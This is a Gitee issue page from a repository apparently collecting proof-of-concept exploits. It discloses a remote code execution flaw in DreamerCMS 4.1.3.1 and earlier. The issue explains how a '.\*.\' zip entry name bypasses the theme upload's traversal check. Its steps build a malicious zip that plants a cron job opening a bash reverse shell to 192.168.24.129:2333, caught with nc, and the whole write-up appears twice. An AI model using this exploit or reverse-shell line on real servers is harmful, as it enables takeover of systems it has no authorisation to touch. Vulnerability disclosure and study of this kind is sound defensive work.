Sign in
Sign up
Explore
Enterprise
Education
Search
Help
Terms of use
About Us
Explore
Enterprise
Education
Gitee Premium
Gitee AI
AI teammates
Sign in
Sign up
Fetch the repository succeeded.
Donate
Please sign in before you donate.
Cancel
Sign in
Scan WeChat QR to Pay
Cancel
Complete
Prompt
Switch to Alipay.
OK
Cancel
Watch
Unwatch
Watching
Releases Only
Ignoring
1
Star
0
Fork
0
shadow7
/
PocPublic
Code
Issues
2
Pull Requests
0
Wiki
Insights
Pipelines
Service
PHPDoc
Quality Analysis
Jenkins for Gitee
Tencent CloudBase
Tencent Cloud Serverless
悬镜安全
Aliyun SAE
Codeblitz
SBOM
DevLens
Don’t show this again
Update failed. Please try again later!
Remove this flag
Content Risk Flag
This task is identified by
as the content contains sensitive information such as code security bugs, privacy leaks, etc., so it is only accessible to contributors of this repository.
DreamerCMS <=4.1.3.1 RCE
Backlog
#I9BA5R
shadow7
owner
Opened this issue
2024-03-25 11:51
### How did the problem arise? (1)In the add() function of controller/admin/ThemesController.java, there is the following code snippet: ``` public String add(String themePath) throws IOException, CmsException { Theme theme; String rootPath = fileConfiguration.getResourceDir(); System system = systemService.getSystem(); String uploadDir = system.getUploaddir(); String uploadpath = rootPath + "/" + uploadDir + "/" + themePath; File zipFile = new File(uploadpath); //解压zip String targetDir = rootPath + "templates/"; theme = ZipUtils.unZipFiles(zipFile, targetDir); //省略其他代码 } ``` (2)ZipUtils.unZipFiles(zipFile, targetDir) is used, and the method code is as follows: ``` public static Theme unZipFiles(File zipFile, String descDir) throws IOException, AdminGeneralException { File pathFile = new File(descDir); if (!pathFile.exists()) { pathFile.mkdirs(); } Theme theme = new Theme(); // 解决zip文件中有中文目录或者中文文件 ZipFile zip = new ZipFile(zipFile, Charset.forName("GBK")); for (Enumeration entries = zip.entries(); entries.hasMoreElements();) { ZipEntry entry = (ZipEntry) entries.nextElement(); String entryName = entry.getName(); System.out.println(entryName); if(entryName.contains("../") || entryName.contains("..\\")) { throw new AdminGeneralException( ExceptionEnum.XSS_SQL_EXCEPTION.getCode(), ExceptionEnum.XSS_SQL_EXCEPTION.getMessage(), "压缩包中文件名疑似不安全,详情:" + entryName); } InputStream in = zip.getInputStream(entry); String outPath = (descDir + entryName).replaceAll("\\*", "/"); // 判断路径是否存在,不存在则创建文件路径 File file = new File(outPath.substring(0, outPath.lastIndexOf('/'))); if(file.getParent().equals(pathFile.getAbsolutePath()) && file.isDirectory()) { theme.setThemePath(file.getAbsolutePath()); } if (!file.exists()) { file.mkdirs(); } // 判断文件全路径是否为文件夹,如果是上面已经上传,不需要解压 if (new File(outPath).isDirectory()) { continue; } OutputStream out = new FileOutputStream(outPath); byte[] buf1 = new byte[1024]; int len; while ((len = in.read(buf1)) > 0) { out.write(buf1, 0, len); } in.close(); out.close(); } zip.close(); System.out.println("******************解压完毕******************"); return theme; } } ``` (3)In this function, the directory traversal character is detected, and then the file is unzipped, but the detection code can be bypassed by ".\*.\", and then passed through String outPath = (descDir + entryName).replaceAll("\\*", "/"); substitution, resulting in a directory traverse, for example ``` payload:.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*var\*spool\*cron\*root ====>.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/spool/cron/root, therefore, creating an RCE vulnerability ``` ### Steps to reproduce (1)演示环境 Operating system: CentOS7 Database: MySQL 5.7 DreamerCMS Version:4.1.3.1 (2)Function point navigation: Background management - > style settings - > upload theme package  (3)Malicious zip file making In a Linux environment ``` Create a file named xxxx*root and write the expression of the cron bounce shell echo "*/1 * * * * bash -i >& /dev/tcp/192.168.24.129/2333 0>&1" > .\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*var\*spool\*cron\*root Make a zip file zip -r ./poc1.zip .\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*var\*spool\*cron\*root ``` (4)Use server NC to listen on port 2333 nc -lvp 2333 (5)Get the bounce shell 
### How did the problem arise? (1)In the add() function of controller/admin/ThemesController.java, there is the following code snippet: ``` public String add(String themePath) throws IOException, CmsException { Theme theme; String rootPath = fileConfiguration.getResourceDir(); System system = systemService.getSystem(); String uploadDir = system.getUploaddir(); String uploadpath = rootPath + "/" + uploadDir + "/" + themePath; File zipFile = new File(uploadpath); //解压zip String targetDir = rootPath + "templates/"; theme = ZipUtils.unZipFiles(zipFile, targetDir); //省略其他代码 } ``` (2)ZipUtils.unZipFiles(zipFile, targetDir) is used, and the method code is as follows: ``` public static Theme unZipFiles(File zipFile, String descDir) throws IOException, AdminGeneralException { File pathFile = new File(descDir); if (!pathFile.exists()) { pathFile.mkdirs(); } Theme theme = new Theme(); // 解决zip文件中有中文目录或者中文文件 ZipFile zip = new ZipFile(zipFile, Charset.forName("GBK")); for (Enumeration entries = zip.entries(); entries.hasMoreElements();) { ZipEntry entry = (ZipEntry) entries.nextElement(); String entryName = entry.getName(); System.out.println(entryName); if(entryName.contains("../") || entryName.contains("..\\")) { throw new AdminGeneralException( ExceptionEnum.XSS_SQL_EXCEPTION.getCode(), ExceptionEnum.XSS_SQL_EXCEPTION.getMessage(), "压缩包中文件名疑似不安全,详情:" + entryName); } InputStream in = zip.getInputStream(entry); String outPath = (descDir + entryName).replaceAll("\\*", "/"); // 判断路径是否存在,不存在则创建文件路径 File file = new File(outPath.substring(0, outPath.lastIndexOf('/'))); if(file.getParent().equals(pathFile.getAbsolutePath()) && file.isDirectory()) { theme.setThemePath(file.getAbsolutePath()); } if (!file.exists()) { file.mkdirs(); } // 判断文件全路径是否为文件夹,如果是上面已经上传,不需要解压 if (new File(outPath).isDirectory()) { continue; } OutputStream out = new FileOutputStream(outPath); byte[] buf1 = new byte[1024]; int len; while ((len = in.read(buf1)) > 0) { out.write(buf1, 0, len); } in.close(); out.close(); } zip.close(); System.out.println("******************解压完毕******************"); return theme; } } ``` (3)In this function, the directory traversal character is detected, and then the file is unzipped, but the detection code can be bypassed by ".\*.\", and then passed through String outPath = (descDir + entryName).replaceAll("\\*", "/"); substitution, resulting in a directory traverse, for example ``` payload:.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*var\*spool\*cron\*root ====>.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/spool/cron/root, therefore, creating an RCE vulnerability ``` ### Steps to reproduce (1)演示环境 Operating system: CentOS7 Database: MySQL 5.7 DreamerCMS Version:4.1.3.1 (2)Function point navigation: Background management - > style settings - > upload theme package  (3)Malicious zip file making In a Linux environment ``` Create a file named xxxx*root and write the expression of the cron bounce shell echo "*/1 * * * * bash -i >& /dev/tcp/192.168.24.129/2333 0>&1" > .\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*var\*spool\*cron\*root Make a zip file zip -r ./poc1.zip .\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*var\*spool\*cron\*root ``` (4)Use server NC to listen on port 2333 nc -lvp 2333 (5)Get the bounce shell 
Comments (
0
)
Sign in
to comment
Status
Backlog
Backlog
Doing
Done
Closed
Assignees
Not set
Labels
Not set
Label settings
Milestones
No related milestones
No related milestones
Pull Requests
None yet
None yet
Successfully merging a pull request will close this issue.
Branches
No related branch
Branches (
-
)
Tags (
-
)
Planed to start   -   Planed to end
-
Top level
Not Top
Top Level: High
Top Level: Medium
Top Level: Low
Priority
Not specified
Serious
Main
Secondary
Unimportant
参与者(1)
PHP
1
https://gitee.com/y1336247431/poc-public.git
git@gitee.com:y1336247431/poc-public.git
y1336247431
poc-public
PocPublic
Going to Help Center
Search
Git 命令在线学习
如何在 Gitee 导入 GitHub 仓库
Git 仓库基础操作
企业版和社区版功能对比
SSH 公钥设置
如何处理代码冲突
仓库体积过大,如何减小?
如何找回被删除的仓库数据
Gitee 产品配额说明
GitHub仓库快速导入Gitee及同步更新
什么是 Release(发行版)
将 PHP 项目自动发布到 packagist.org
Comment
Repository Report
Back to the top
Login prompt
This operation requires login to the code cloud account. Please log in before operating.
Go to login
No account. Register